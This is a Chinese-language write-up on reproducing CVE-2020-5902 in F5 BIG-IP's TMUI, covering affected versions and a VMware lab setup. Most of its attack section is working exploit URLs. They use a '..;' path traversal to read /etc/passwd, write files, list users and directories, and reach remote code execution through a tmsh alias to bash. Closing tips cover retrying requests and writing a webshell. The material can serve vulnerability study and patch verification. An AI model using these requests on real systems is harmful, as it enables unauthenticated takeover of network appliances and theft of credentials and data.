前言
最近工作中遇到一个漏洞:CVE-2020-5902,是一个个针对F5 BIG-IP的漏洞
绿盟科技监测到F5官方对流量管理用户界面(TMUI)远程代码执行漏洞(CVE-2020-5902)的安全公告进行了更新。受影响的15.x版本变更为15.0.0-15.1.0,更新了可被绕过的临时缓解措施及验证方法;未经身份验证的攻击者通过BIG-IP管理端口或自身IP访问TMUI,可构造恶意请求获取目标服务器权限,CVSS评分为10分。目前msf已经集成了该漏洞的利用,建议还未修复的用户尽快采取措施进行防护。
漏洞环境搭建
开始我以为这套设备是收费的,所以在fofa搜索F5的资产,最后发现官网注册了就可以下,不过也找了一会儿,因为不是所有的版本都可以复现的
受影响的版本:
F5 BIG-IP 15.x:15.0.0 - 15.1.0
F5 BIG-IP 14.x:14.1.0 - 14.1.2
F5 BIG-IP 13.x:13.1.0 - 13.1.3
F5 BIG-IP 12.x:12.1.0 - 12.1.5
F5 BIG-IP 11.x:11.6.1 - 11.6.5
这里提供一下我找到能复现成功的vmware部署模板,已经传到网盘上了:飞机直达
部署没有什么可说的,直接vmware打开就行了
系统的默认密码是root/default, 登录以后会要求改密码
然后config,可以看到ip地址:
然后打开 https://ip
使用admin/你修改的密码登录,会再次要求更改密码,然后登陆:
环境就搭建好了
任意文件读取
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
任意文件写入
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp
在系统中查看一下:
这里继续用任意文件读取查看一下刚刚写入的文件:
列出认证用户
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user
列出目录
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/
RCE
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id
https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd
最后还原一下:https://IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
检测工具
Github地址:飞机直达
漏洞检测
文件读取
RCE
写在最后
- 如果list auth user或者list /tmp/cmd.txt返回空,多repeat几次或者intruder可能就有返回了
- 即使返回空,也可能rce
- 据说rce的post成功率大于get
- 据说要近期有管理员登录过才有返回值
- list auth user能稳定返回值,rce成功率高
- 写webshell返回500可能缺少ecj-4.4.jar
- 记得还原list命令,删除或者覆盖命令文件
- 遇到返回500或者返回error错误,多repeat几次可能就正常了